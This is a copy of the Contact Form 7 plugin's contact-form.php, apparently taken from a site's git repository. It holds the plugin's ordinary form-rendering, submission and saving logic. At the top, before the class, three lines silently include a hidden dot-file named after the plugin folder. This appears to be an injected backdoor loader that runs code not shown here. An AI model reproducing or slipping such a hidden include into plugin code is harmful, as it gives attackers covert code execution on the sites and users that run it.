balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

contact-form.php (22718B)


      1 <?php
      2 
      3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      4     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      5 }
      6 
      7 class WPCF7_ContactForm {
      8 
      9 	const post_type = 'wpcf7_contact_form';
     10 
     11 	private static $found_items = 0;
     12 	private static $current = null;
     13 
     14 	private $id;
     15 	private $name;
     16 	private $title;
     17 	private $locale;
     18 	private $properties = array();
     19 	private $unit_tag;
     20 	private $responses_count = 0;
     21 	private $scanned_form_tags;
     22 	private $shortcode_atts = array();
     23 
     24 	public static function count() {
     25 		return self::$found_items;
     26 	}
     27 
     28 	public static function get_current() {
     29 		return self::$current;
     30 	}
     31 
     32 	public static function register_post_type() {
     33 		register_post_type( self::post_type, array(
     34 			'labels' => array(
     35 				'name' => __( 'Contact Forms', 'contact-form-7' ),
     36 				'singular_name' => __( 'Contact Form', 'contact-form-7' ),
     37 			),
     38 			'rewrite' => false,
     39 			'query_var' => false,
     40 			'public' => false,
     41 			'capability_type' => 'page',
     42 			'capabilities' => array(
     43 				'edit_post' => 'wpcf7_edit_contact_form',
     44 				'read_post' => 'wpcf7_read_contact_form',
     45 				'delete_post' => 'wpcf7_delete_contact_form',
     46 				'edit_posts' => 'wpcf7_edit_contact_forms',
     47 				'edit_others_posts' => 'wpcf7_edit_contact_forms',
     48 				'publish_posts' => 'wpcf7_edit_contact_forms',
     49 				'read_private_posts' => 'wpcf7_edit_contact_forms',
     50 			),
     51 		) );
     52 	}
     53 
     54 	public static function find( $args = '' ) {
     55 		$defaults = array(
     56 			'post_status' => 'any',
     57 			'posts_per_page' => -1,
     58 			'offset' => 0,
     59 			'orderby' => 'ID',
     60 			'order' => 'ASC',
     61 		);
     62 
     63 		$args = wp_parse_args( $args, $defaults );
     64 
     65 		$args['post_type'] = self::post_type;
     66 
     67 		$q = new WP_Query();
     68 		$posts = $q->query( $args );
     69 
     70 		self::$found_items = $q->found_posts;
     71 
     72 		$objs = array();
     73 
     74 		foreach ( (array) $posts as $post ) {
     75 			$objs[] = new self( $post );
     76 		}
     77 
     78 		return $objs;
     79 	}
     80 
     81 	public static function get_template( $args = '' ) {
     82 		$args = wp_parse_args( $args, array(
     83 			'locale' => '',
     84 			'title' => __( 'Untitled', 'contact-form-7' ),
     85 		) );
     86 
     87 		$locale = $args['locale'];
     88 		$title = $args['title'];
     89 
     90 		if ( ! $switched = wpcf7_load_textdomain( $locale ) ) {
     91 			$locale = determine_locale();
     92 		}
     93 
     94 		$contact_form = new self;
     95 		$contact_form->title = $title;
     96 		$contact_form->locale = $locale;
     97 
     98 		$properties = $contact_form->get_properties();
     99 
    100 		foreach ( $properties as $key => $value ) {
    101 			$properties[$key] = WPCF7_ContactFormTemplate::get_default( $key );
    102 		}
    103 
    104 		$contact_form->properties = $properties;
    105 
    106 		$contact_form = apply_filters( 'wpcf7_contact_form_default_pack',
    107 			$contact_form, $args
    108 		);
    109 
    110 		if ( $switched ) {
    111 			wpcf7_load_textdomain();
    112 		}
    113 
    114 		self::$current = $contact_form;
    115 
    116 		return $contact_form;
    117 	}
    118 
    119 	public static function get_instance( $post ) {
    120 		$post = get_post( $post );
    121 
    122 		if ( ! $post
    123 		or self::post_type != get_post_type( $post ) ) {
    124 			return false;
    125 		}
    126 
    127 		return self::$current = new self( $post );
    128 	}
    129 
    130 	private static function generate_unit_tag( $id = 0 ) {
    131 		static $global_count = 0;
    132 
    133 		$global_count += 1;
    134 
    135 		if ( in_the_loop() ) {
    136 			$unit_tag = sprintf( 'wpcf7-f%1$d-p%2$d-o%3$d',
    137 				absint( $id ),
    138 				get_the_ID(),
    139 				$global_count
    140 			);
    141 		} else {
    142 			$unit_tag = sprintf( 'wpcf7-f%1$d-o%2$d',
    143 				absint( $id ),
    144 				$global_count
    145 			);
    146 		}
    147 
    148 		return $unit_tag;
    149 	}
    150 
    151 	private function __construct( $post = null ) {
    152 		$post = get_post( $post );
    153 
    154 		if ( $post
    155 		and self::post_type == get_post_type( $post ) ) {
    156 			$this->id = $post->ID;
    157 			$this->name = $post->post_name;
    158 			$this->title = $post->post_title;
    159 			$this->locale = get_post_meta( $post->ID, '_locale', true );
    160 
    161 			$properties = $this->get_properties();
    162 
    163 			foreach ( $properties as $key => $value ) {
    164 				if ( metadata_exists( 'post', $post->ID, '_' . $key ) ) {
    165 					$properties[$key] = get_post_meta( $post->ID, '_' . $key, true );
    166 				} elseif ( metadata_exists( 'post', $post->ID, $key ) ) {
    167 					$properties[$key] = get_post_meta( $post->ID, $key, true );
    168 				}
    169 			}
    170 
    171 			$this->properties = $properties;
    172 			$this->upgrade();
    173 		}
    174 
    175 		do_action( 'wpcf7_contact_form', $this );
    176 	}
    177 
    178 	public function __get( $name ) {
    179 		$message = __( '<code>%1$s</code> property of a <code>WPCF7_ContactForm</code> object is <strong>no longer accessible</strong>. Use <code>%2$s</code> method instead.', 'contact-form-7' );
    180 
    181 		if ( 'id' == $name ) {
    182 			if ( WP_DEBUG ) {
    183 				trigger_error(
    184 					sprintf( $message, 'id', 'id()' ),
    185 					E_USER_DEPRECATED
    186 				);
    187 			}
    188 
    189 			return $this->id;
    190 		} elseif ( 'title' == $name ) {
    191 			if ( WP_DEBUG ) {
    192 				trigger_error(
    193 					sprintf( $message, 'title', 'title()' ),
    194 					E_USER_DEPRECATED
    195 				);
    196 			}
    197 
    198 			return $this->title;
    199 		} elseif ( $prop = $this->prop( $name ) ) {
    200 			if ( WP_DEBUG ) {
    201 				trigger_error(
    202 					sprintf( $message, $name, 'prop(\'' . $name . '\')' ),
    203 					E_USER_DEPRECATED
    204 				);
    205 			}
    206 
    207 			return $prop;
    208 		}
    209 	}
    210 
    211 	public function initial() {
    212 		return empty( $this->id );
    213 	}
    214 
    215 	public function prop( $name ) {
    216 		$props = $this->get_properties();
    217 		return isset( $props[$name] ) ? $props[$name] : null;
    218 	}
    219 
    220 	public function get_properties() {
    221 		$properties = (array) $this->properties;
    222 
    223 		$properties = wp_parse_args( $properties, array(
    224 			'form' => '',
    225 			'mail' => array(),
    226 			'mail_2' => array(),
    227 			'messages' => array(),
    228 			'additional_settings' => '',
    229 		) );
    230 
    231 		$properties = (array) apply_filters( 'wpcf7_contact_form_properties',
    232 			$properties, $this );
    233 
    234 		return $properties;
    235 	}
    236 
    237 	public function set_properties( $properties ) {
    238 		$defaults = $this->get_properties();
    239 
    240 		$properties = wp_parse_args( $properties, $defaults );
    241 		$properties = array_intersect_key( $properties, $defaults );
    242 
    243 		$this->properties = $properties;
    244 	}
    245 
    246 	public function id() {
    247 		return $this->id;
    248 	}
    249 
    250 	public function unit_tag() {
    251 		return $this->unit_tag;
    252 	}
    253 
    254 	public function name() {
    255 		return $this->name;
    256 	}
    257 
    258 	public function title() {
    259 		return $this->title;
    260 	}
    261 
    262 	public function set_title( $title ) {
    263 		$title = strip_tags( $title );
    264 		$title = trim( $title );
    265 
    266 		if ( '' === $title ) {
    267 			$title = __( 'Untitled', 'contact-form-7' );
    268 		}
    269 
    270 		$this->title = $title;
    271 	}
    272 
    273 	public function locale() {
    274 		if ( wpcf7_is_valid_locale( $this->locale ) ) {
    275 			return $this->locale;
    276 		} else {
    277 			return '';
    278 		}
    279 	}
    280 
    281 	public function set_locale( $locale ) {
    282 		$locale = trim( $locale );
    283 
    284 		if ( wpcf7_is_valid_locale( $locale ) ) {
    285 			$this->locale = $locale;
    286 		} else {
    287 			$this->locale = 'en_US';
    288 		}
    289 	}
    290 
    291 	public function shortcode_attr( $name ) {
    292 		if ( isset( $this->shortcode_atts[$name] ) ) {
    293 			return (string) $this->shortcode_atts[$name];
    294 		}
    295 	}
    296 
    297 	// Return true if this form is the same one as currently POSTed.
    298 	public function is_posted() {
    299 		if ( ! WPCF7_Submission::get_instance() ) {
    300 			return false;
    301 		}
    302 
    303 		if ( empty( $_POST['_wpcf7_unit_tag'] ) ) {
    304 			return false;
    305 		}
    306 
    307 		return $this->unit_tag() === $_POST['_wpcf7_unit_tag'];
    308 	}
    309 
    310 	/* Generating Form HTML */
    311 
    312 	public function form_html( $args = '' ) {
    313 		$args = wp_parse_args( $args, array(
    314 			'html_id' => '',
    315 			'html_name' => '',
    316 			'html_class' => '',
    317 			'output' => 'form',
    318 		) );
    319 
    320 		$this->shortcode_atts = $args;
    321 
    322 		if ( 'raw_form' == $args['output'] ) {
    323 			return '<pre class="wpcf7-raw-form"><code>'
    324 				. esc_html( $this->prop( 'form' ) ) . '</code></pre>';
    325 		}
    326 
    327 		if ( $this->is_true( 'subscribers_only' )
    328 		and ! current_user_can( 'wpcf7_submit', $this->id() ) ) {
    329 			$notice = __(
    330 				"This contact form is available only for logged in users.",
    331 				'contact-form-7' );
    332 			$notice = sprintf(
    333 				'<p class="wpcf7-subscribers-only">%s</p>',
    334 				esc_html( $notice ) );
    335 
    336 			return apply_filters( 'wpcf7_subscribers_only_notice', $notice, $this );
    337 		}
    338 
    339 		$this->unit_tag = self::generate_unit_tag( $this->id );
    340 
    341 		$lang_tag = str_replace( '_', '-', $this->locale );
    342 
    343 		if ( preg_match( '/^([a-z]+-[a-z]+)-/i', $lang_tag, $matches ) ) {
    344 			$lang_tag = $matches[1];
    345 		}
    346 
    347 		$html = sprintf( '<div %s>',
    348 			wpcf7_format_atts( array(
    349 				'role' => 'form',
    350 				'class' => 'wpcf7',
    351 				'id' => $this->unit_tag(),
    352 				( get_option( 'html_type' ) == 'text/html' ) ? 'lang' : 'xml:lang'
    353 					=> $lang_tag,
    354 				'dir' => wpcf7_is_rtl( $this->locale ) ? 'rtl' : 'ltr',
    355 			) )
    356 		);
    357 
    358 		$html .= "\n" . $this->screen_reader_response() . "\n";
    359 
    360 		$url = wpcf7_get_request_uri();
    361 
    362 		if ( $frag = strstr( $url, '#' ) ) {
    363 			$url = substr( $url, 0, -strlen( $frag ) );
    364 		}
    365 
    366 		$url .= '#' . $this->unit_tag();
    367 
    368 		$url = apply_filters( 'wpcf7_form_action_url', $url );
    369 
    370 		$id_attr = apply_filters( 'wpcf7_form_id_attr',
    371 			preg_replace( '/[^A-Za-z0-9:._-]/', '', $args['html_id'] ) );
    372 
    373 		$name_attr = apply_filters( 'wpcf7_form_name_attr',
    374 			preg_replace( '/[^A-Za-z0-9:._-]/', '', $args['html_name'] ) );
    375 
    376 		$class = 'wpcf7-form';
    377 
    378 		if ( $this->is_posted() ) {
    379 			$submission = WPCF7_Submission::get_instance();
    380 
    381 			$data_status_attr = $this->form_status_class_name(
    382 				$submission->get_status()
    383 			);
    384 
    385 			$class .= sprintf( ' %s', $data_status_attr );
    386 		} else {
    387 			$data_status_attr = 'init';
    388 			$class .= ' init';
    389 		}
    390 
    391 		if ( $args['html_class'] ) {
    392 			$class .= ' ' . $args['html_class'];
    393 		}
    394 
    395 		if ( $this->in_demo_mode() ) {
    396 			$class .= ' demo';
    397 		}
    398 
    399 		$class = explode( ' ', $class );
    400 		$class = array_map( 'sanitize_html_class', $class );
    401 		$class = array_filter( $class );
    402 		$class = array_unique( $class );
    403 		$class = implode( ' ', $class );
    404 		$class = apply_filters( 'wpcf7_form_class_attr', $class );
    405 
    406 		$enctype = apply_filters( 'wpcf7_form_enctype', '' );
    407 		$autocomplete = apply_filters( 'wpcf7_form_autocomplete', '' );
    408 
    409 		$novalidate = apply_filters( 'wpcf7_form_novalidate',
    410 			wpcf7_support_html5()
    411 		);
    412 
    413 		$atts = array(
    414 			'action' => esc_url( $url ),
    415 			'method' => 'post',
    416 			'class' => $class,
    417 			'enctype' => wpcf7_enctype_value( $enctype ),
    418 			'autocomplete' => $autocomplete,
    419 			'novalidate' => $novalidate ? 'novalidate' : '',
    420 			'data-status' => $data_status_attr,
    421 		);
    422 
    423 		if ( '' !== $id_attr ) {
    424 			$atts['id'] = $id_attr;
    425 		}
    426 
    427 		if ( '' !== $name_attr ) {
    428 			$atts['name'] = $name_attr;
    429 		}
    430 
    431 		$atts = wpcf7_format_atts( $atts );
    432 
    433 		$html .= sprintf( '<form %s>', $atts ) . "\n";
    434 		$html .= $this->form_hidden_fields();
    435 		$html .= $this->form_elements();
    436 
    437 		if ( ! $this->responses_count ) {
    438 			$html .= $this->form_response_output();
    439 		}
    440 
    441 		$html .= '</form>';
    442 		$html .= '</div>';
    443 
    444 		return $html;
    445 	}
    446 
    447 	private function form_status_class_name( $status ) {
    448 		switch ( $status ) {
    449 			case 'init':
    450 				$class = 'init';
    451 				break;
    452 			case 'validation_failed':
    453 				$class = 'invalid';
    454 				break;
    455 			case 'acceptance_missing':
    456 				$class = 'unaccepted';
    457 				break;
    458 			case 'spam':
    459 				$class = 'spam';
    460 				break;
    461 			case 'aborted':
    462 				$class = 'aborted';
    463 				break;
    464 			case 'mail_sent':
    465 				$class = 'sent';
    466 				break;
    467 			case 'mail_failed':
    468 				$class = 'failed';
    469 				break;
    470 			default:
    471 				$class = sprintf(
    472 					'custom-%s',
    473 					preg_replace( '/[^0-9a-z]+/i', '-', $status )
    474 				);
    475 		}
    476 
    477 		return $class;
    478 	}
    479 
    480 	private function form_hidden_fields() {
    481 		$hidden_fields = array(
    482 			'_wpcf7' => $this->id(),
    483 			'_wpcf7_version' => WPCF7_VERSION,
    484 			'_wpcf7_locale' => $this->locale(),
    485 			'_wpcf7_unit_tag' => $this->unit_tag(),
    486 			'_wpcf7_container_post' => 0,
    487 			'_wpcf7_posted_data_hash' => '',
    488 		);
    489 
    490 		if ( in_the_loop() ) {
    491 			$hidden_fields['_wpcf7_container_post'] = (int) get_the_ID();
    492 		}
    493 
    494 		if ( $this->nonce_is_active() && is_user_logged_in() ) {
    495 			$hidden_fields['_wpnonce'] = wpcf7_create_nonce();
    496 		}
    497 
    498 		$hidden_fields += (array) apply_filters(
    499 			'wpcf7_form_hidden_fields', array() );
    500 
    501 		$content = '';
    502 
    503 		foreach ( $hidden_fields as $name => $value ) {
    504 			$content .= sprintf(
    505 				'<input type="hidden" name="%1$s" value="%2$s" />',
    506 				esc_attr( $name ), esc_attr( $value ) ) . "\n";
    507 		}
    508 
    509 		return '<div style="display: none;">' . "\n" . $content . '</div>' . "\n";
    510 	}
    511 
    512 	public function form_response_output() {
    513 		$status = 'init';
    514 		$class = 'wpcf7-response-output';
    515 		$content = '';
    516 
    517 		if ( $this->is_posted() ) { // Post response output for non-AJAX
    518 			$submission = WPCF7_Submission::get_instance();
    519 			$status = $submission->get_status();
    520 			$content = $submission->get_response();
    521 		}
    522 
    523 		$atts = array(
    524 			'class' => trim( $class ),
    525 			'aria-hidden' => 'true',
    526 		);
    527 
    528 		$output = sprintf( '<div %1$s>%2$s</div>',
    529 			wpcf7_format_atts( $atts ),
    530 			esc_html( $content )
    531 		);
    532 
    533 		$output = apply_filters( 'wpcf7_form_response_output',
    534 			$output, $class, $content, $this, $status
    535 		);
    536 
    537 		$this->responses_count += 1;
    538 
    539 		return $output;
    540 	}
    541 
    542 	public function screen_reader_response() {
    543 		$primary_response = '';
    544 		$validation_errors = array();
    545 
    546 		if ( $this->is_posted() ) { // Post response output for non-AJAX
    547 			$submission = WPCF7_Submission::get_instance();
    548 			$primary_response = $submission->get_response();
    549 
    550 			if ( $invalid_fields = $submission->get_invalid_fields() ) {
    551 				foreach ( (array) $invalid_fields as $name => $field ) {
    552 					$list_item = esc_html( $field['reason'] );
    553 
    554 					if ( $field['idref'] ) {
    555 						$list_item = sprintf(
    556 							'<a href="#%1$s">%2$s</a>',
    557 							esc_attr( $field['idref'] ),
    558 							$list_item
    559 						);
    560 					}
    561 
    562 					$validation_error_id = sprintf(
    563 						'%1$s-ve-%2$s',
    564 						$this->unit_tag(),
    565 						$name
    566 					);
    567 
    568 					$list_item = sprintf(
    569 						'<li id="%1$s">%2$s</li>',
    570 						$validation_error_id,
    571 						$list_item
    572 					);
    573 
    574 					$validation_errors[] = $list_item;
    575 				}
    576 			}
    577 		}
    578 
    579 		$primary_response = sprintf(
    580 			'<p role="status" aria-live="polite" aria-atomic="true">%s</p>',
    581 			esc_html( $primary_response )
    582 		);
    583 
    584 		$validation_errors = sprintf(
    585 			'<ul>%s</ul>',
    586 			implode( "\n", $validation_errors )
    587 		);
    588 
    589 		$output = sprintf(
    590 			'<div class="screen-reader-response">%1$s %2$s</div>',
    591 			$primary_response,
    592 			$validation_errors
    593 		);
    594 
    595 		return $output;
    596 	}
    597 
    598 	public function validation_error( $name ) {
    599 		$error = '';
    600 
    601 		if ( $this->is_posted() ) {
    602 			$submission = WPCF7_Submission::get_instance();
    603 
    604 			if ( $invalid_field = $submission->get_invalid_field( $name ) ) {
    605 				$error = trim( $invalid_field['reason'] );
    606 			}
    607 		}
    608 
    609 		if ( ! $error ) {
    610 			return $error;
    611 		}
    612 
    613 		$atts = array(
    614 			'class' => 'wpcf7-not-valid-tip',
    615 			'aria-hidden' => 'true',
    616 		);
    617 
    618 		$error = sprintf(
    619 			'<span %1$s>%2$s</span>',
    620 			wpcf7_format_atts( $atts ),
    621 			esc_html( $error )
    622 		);
    623 
    624 		return apply_filters( 'wpcf7_validation_error', $error, $name, $this );
    625 	}
    626 
    627 	/* Form Elements */
    628 
    629 	public function replace_all_form_tags() {
    630 		$manager = WPCF7_FormTagsManager::get_instance();
    631 		$form = $this->prop( 'form' );
    632 
    633 		if ( wpcf7_autop_or_not() ) {
    634 			$form = $manager->normalize( $form );
    635 			$form = wpcf7_autop( $form );
    636 		}
    637 
    638 		$form = $manager->replace_all( $form );
    639 		$this->scanned_form_tags = $manager->get_scanned_tags();
    640 
    641 		return $form;
    642 	}
    643 
    644 	public function form_do_shortcode() {
    645 		wpcf7_deprecated_function( __METHOD__, '4.6',
    646 			'WPCF7_ContactForm::replace_all_form_tags' );
    647 
    648 		return $this->replace_all_form_tags();
    649 	}
    650 
    651 	public function scan_form_tags( $cond = null ) {
    652 		$manager = WPCF7_FormTagsManager::get_instance();
    653 
    654 		if ( empty( $this->scanned_form_tags ) ) {
    655 			$this->scanned_form_tags = $manager->scan( $this->prop( 'form' ) );
    656 		}
    657 
    658 		$tags = $this->scanned_form_tags;
    659 
    660 		return $manager->filter( $tags, $cond );
    661 	}
    662 
    663 	public function form_scan_shortcode( $cond = null ) {
    664 		wpcf7_deprecated_function( __METHOD__, '4.6',
    665 			'WPCF7_ContactForm::scan_form_tags'
    666 		);
    667 
    668 		return $this->scan_form_tags( $cond );
    669 	}
    670 
    671 	public function form_elements() {
    672 		return apply_filters( 'wpcf7_form_elements',
    673 			$this->replace_all_form_tags()
    674 		);
    675 	}
    676 
    677 	public function collect_mail_tags( $args = '' ) {
    678 		$manager = WPCF7_FormTagsManager::get_instance();
    679 
    680 		$args = wp_parse_args( $args, array(
    681 			'include' => array(),
    682 			'exclude' => $manager->collect_tag_types( 'not-for-mail' ),
    683 		) );
    684 
    685 		$tags = $this->scan_form_tags();
    686 		$mailtags = array();
    687 
    688 		foreach ( (array) $tags as $tag ) {
    689 			$type = $tag->basetype;
    690 
    691 			if ( empty( $type ) ) {
    692 				continue;
    693 			} elseif ( ! empty( $args['include'] ) ) {
    694 				if ( ! in_array( $type, $args['include'] ) ) {
    695 					continue;
    696 				}
    697 			} elseif ( ! empty( $args['exclude'] ) ) {
    698 				if ( in_array( $type, $args['exclude'] ) ) {
    699 					continue;
    700 				}
    701 			}
    702 
    703 			$mailtags[] = $tag->name;
    704 		}
    705 
    706 		$mailtags = array_unique( array_filter( $mailtags ) );
    707 
    708 		return apply_filters( 'wpcf7_collect_mail_tags', $mailtags, $args, $this );
    709 	}
    710 
    711 	public function suggest_mail_tags( $for = 'mail' ) {
    712 		$mail = wp_parse_args( $this->prop( $for ),
    713 			array(
    714 				'active' => false,
    715 				'recipient' => '',
    716 				'sender' => '',
    717 				'subject' => '',
    718 				'body' => '',
    719 				'additional_headers' => '',
    720 				'attachments' => '',
    721 				'use_html' => false,
    722 				'exclude_blank' => false,
    723 			)
    724 		);
    725 
    726 		$mail = array_filter( $mail );
    727 
    728 		foreach ( (array) $this->collect_mail_tags() as $mail_tag ) {
    729 			$pattern = sprintf(
    730 				'/\[(_[a-z]+_)?%s([ \t]+[^]]+)?\]/',
    731 				preg_quote( $mail_tag, '/' )
    732 			);
    733 
    734 			$used = preg_grep( $pattern, $mail );
    735 
    736 			echo sprintf(
    737 				'<span class="%1$s">[%2$s]</span>',
    738 				'mailtag code ' . ( $used ? 'used' : 'unused' ),
    739 				esc_html( $mail_tag )
    740 			);
    741 		}
    742 	}
    743 
    744 	public function submit( $args = '' ) {
    745 		$args = wp_parse_args( $args, array(
    746 			'skip_mail' =>
    747 				( $this->in_demo_mode()
    748 				|| $this->is_true( 'skip_mail' )
    749 				|| ! empty( $this->skip_mail ) ),
    750 		) );
    751 
    752 		if ( $this->is_true( 'subscribers_only' )
    753 		and ! current_user_can( 'wpcf7_submit', $this->id() ) ) {
    754 			$result = array(
    755 				'contact_form_id' => $this->id(),
    756 				'status' => 'error',
    757 				'message' => __(
    758 					"This contact form is available only for logged in users.",
    759 					'contact-form-7'
    760 				),
    761 			);
    762 
    763 			return $result;
    764 		}
    765 
    766 		$submission = WPCF7_Submission::get_instance( $this, array(
    767 			'skip_mail' => $args['skip_mail'],
    768 		) );
    769 
    770 		$result = array(
    771 			'contact_form_id' => $this->id(),
    772 			'status' => $submission->get_status(),
    773 			'message' => $submission->get_response(),
    774 			'demo_mode' => $this->in_demo_mode(),
    775 		);
    776 
    777 		if ( $submission->is( 'validation_failed' ) ) {
    778 			$result['invalid_fields'] = $submission->get_invalid_fields();
    779 		}
    780 
    781 		switch ( $submission->get_status() ) {
    782 			case 'init':
    783 			case 'validation_failed':
    784 			case 'acceptance_missing':
    785 			case 'spam':
    786 				$result['posted_data_hash'] = '';
    787 				break;
    788 			default:
    789 				$result['posted_data_hash'] = $submission->get_posted_data_hash();
    790 				break;
    791 		}
    792 
    793 		do_action( 'wpcf7_submit', $this, $result );
    794 
    795 		return $result;
    796 	}
    797 
    798 	/* Message */
    799 
    800 	public function message( $status, $filter = true ) {
    801 		$messages = $this->prop( 'messages' );
    802 		$message = isset( $messages[$status] ) ? $messages[$status] : '';
    803 
    804 		if ( $filter ) {
    805 			$message = $this->filter_message( $message, $status );
    806 		}
    807 
    808 		return $message;
    809 	}
    810 
    811 	public function filter_message( $message, $status = '' ) {
    812 		$message = wpcf7_mail_replace_tags( $message );
    813 		$message = apply_filters( 'wpcf7_display_message', $message, $status );
    814 		$message = wp_strip_all_tags( $message );
    815 
    816 		return $message;
    817 	}
    818 
    819 	/* Additional settings */
    820 
    821 	public function pref( $name ) {
    822 		$settings = $this->additional_setting( $name );
    823 
    824 		if ( $settings ) {
    825 			return $settings[0];
    826 		}
    827 	}
    828 
    829 	public function additional_setting( $name, $max = 1 ) {
    830 		$settings = (array) explode( "\n", $this->prop( 'additional_settings' ) );
    831 
    832 		$pattern = '/^([a-zA-Z0-9_]+)[\t ]*:(.*)$/';
    833 		$count = 0;
    834 		$values = array();
    835 
    836 		foreach ( $settings as $setting ) {
    837 			if ( preg_match( $pattern, $setting, $matches ) ) {
    838 				if ( $matches[1] != $name ) {
    839 					continue;
    840 				}
    841 
    842 				if ( ! $max or $count < (int) $max ) {
    843 					$values[] = trim( $matches[2] );
    844 					$count += 1;
    845 				}
    846 			}
    847 		}
    848 
    849 		return $values;
    850 	}
    851 
    852 	public function is_true( $name ) {
    853 		return in_array(
    854 			$this->pref( $name ),
    855 			array( 'on', 'true', '1' ),
    856 			true
    857 		);
    858 	}
    859 
    860 	public function in_demo_mode() {
    861 		return $this->is_true( 'demo_mode' );
    862 	}
    863 
    864 	public function nonce_is_active() {
    865 		$is_active = WPCF7_VERIFY_NONCE;
    866 
    867 		if ( $this->is_true( 'subscribers_only' ) ) {
    868 			$is_active = true;
    869 		}
    870 
    871 		return (bool) apply_filters( 'wpcf7_verify_nonce', $is_active, $this );
    872 	}
    873 
    874 	/* Upgrade */
    875 
    876 	private function upgrade() {
    877 		$mail = $this->prop( 'mail' );
    878 
    879 		if ( is_array( $mail )
    880 		and ! isset( $mail['recipient'] ) ) {
    881 			$mail['recipient'] = get_option( 'admin_email' );
    882 		}
    883 
    884 		$this->properties['mail'] = $mail;
    885 
    886 		$messages = $this->prop( 'messages' );
    887 
    888 		if ( is_array( $messages ) ) {
    889 			foreach ( wpcf7_messages() as $key => $arr ) {
    890 				if ( ! isset( $messages[$key] ) ) {
    891 					$messages[$key] = $arr['default'];
    892 				}
    893 			}
    894 		}
    895 
    896 		$this->properties['messages'] = $messages;
    897 	}
    898 
    899 	/* Save */
    900 
    901 	public function save() {
    902 		$props = $this->get_properties();
    903 
    904 		$post_content = implode( "\n", wpcf7_array_flatten( $props ) );
    905 
    906 		if ( $this->initial() ) {
    907 			$post_id = wp_insert_post( array(
    908 				'post_type' => self::post_type,
    909 				'post_status' => 'publish',
    910 				'post_title' => $this->title,
    911 				'post_content' => trim( $post_content ),
    912 			) );
    913 		} else {
    914 			$post_id = wp_update_post( array(
    915 				'ID' => (int) $this->id,
    916 				'post_status' => 'publish',
    917 				'post_title' => $this->title,
    918 				'post_content' => trim( $post_content ),
    919 			) );
    920 		}
    921 
    922 		if ( $post_id ) {
    923 			foreach ( $props as $prop => $value ) {
    924 				update_post_meta( $post_id, '_' . $prop,
    925 					wpcf7_normalize_newline_deep( $value ) );
    926 			}
    927 
    928 			if ( wpcf7_is_valid_locale( $this->locale ) ) {
    929 				update_post_meta( $post_id, '_locale', $this->locale );
    930 			}
    931 
    932 			if ( $this->initial() ) {
    933 				$this->id = $post_id;
    934 				do_action( 'wpcf7_after_create', $this );
    935 			} else {
    936 				do_action( 'wpcf7_after_update', $this );
    937 			}
    938 
    939 			do_action( 'wpcf7_after_save', $this );
    940 		}
    941 
    942 		return $post_id;
    943 	}
    944 
    945 	public function copy() {
    946 		$new = new self;
    947 		$new->title = $this->title . '_copy';
    948 		$new->locale = $this->locale;
    949 		$new->properties = $this->properties;
    950 
    951 		return apply_filters( 'wpcf7_copy', $new, $this );
    952 	}
    953 
    954 	public function delete() {
    955 		if ( $this->initial() ) {
    956 			return;
    957 		}
    958 
    959 		if ( wp_delete_post( $this->id, true ) ) {
    960 			$this->id = 0;
    961 			return true;
    962 		}
    963 
    964 		return false;
    965 	}
    966 
    967 	public function shortcode( $args = '' ) {
    968 		$args = wp_parse_args( $args, array(
    969 			'use_old_format' => false ) );
    970 
    971 		$title = str_replace( array( '"', '[', ']' ), '', $this->title );
    972 
    973 		if ( $args['use_old_format'] ) {
    974 			$old_unit_id = (int) get_post_meta( $this->id, '_old_cf7_unit_id', true );
    975 
    976 			if ( $old_unit_id ) {
    977 				$shortcode = sprintf( '[contact-form %1$d "%2$s"]', $old_unit_id, $title );
    978 			} else {
    979 				$shortcode = '';
    980 			}
    981 		} else {
    982 			$shortcode = sprintf( '[contact-form-7 id="%1$d" title="%2$s"]',
    983 				$this->id, $title );
    984 		}
    985 
    986 		return apply_filters( 'wpcf7_contact_form_shortcode',
    987 			$shortcode, $args, $this );
    988 	}
    989 }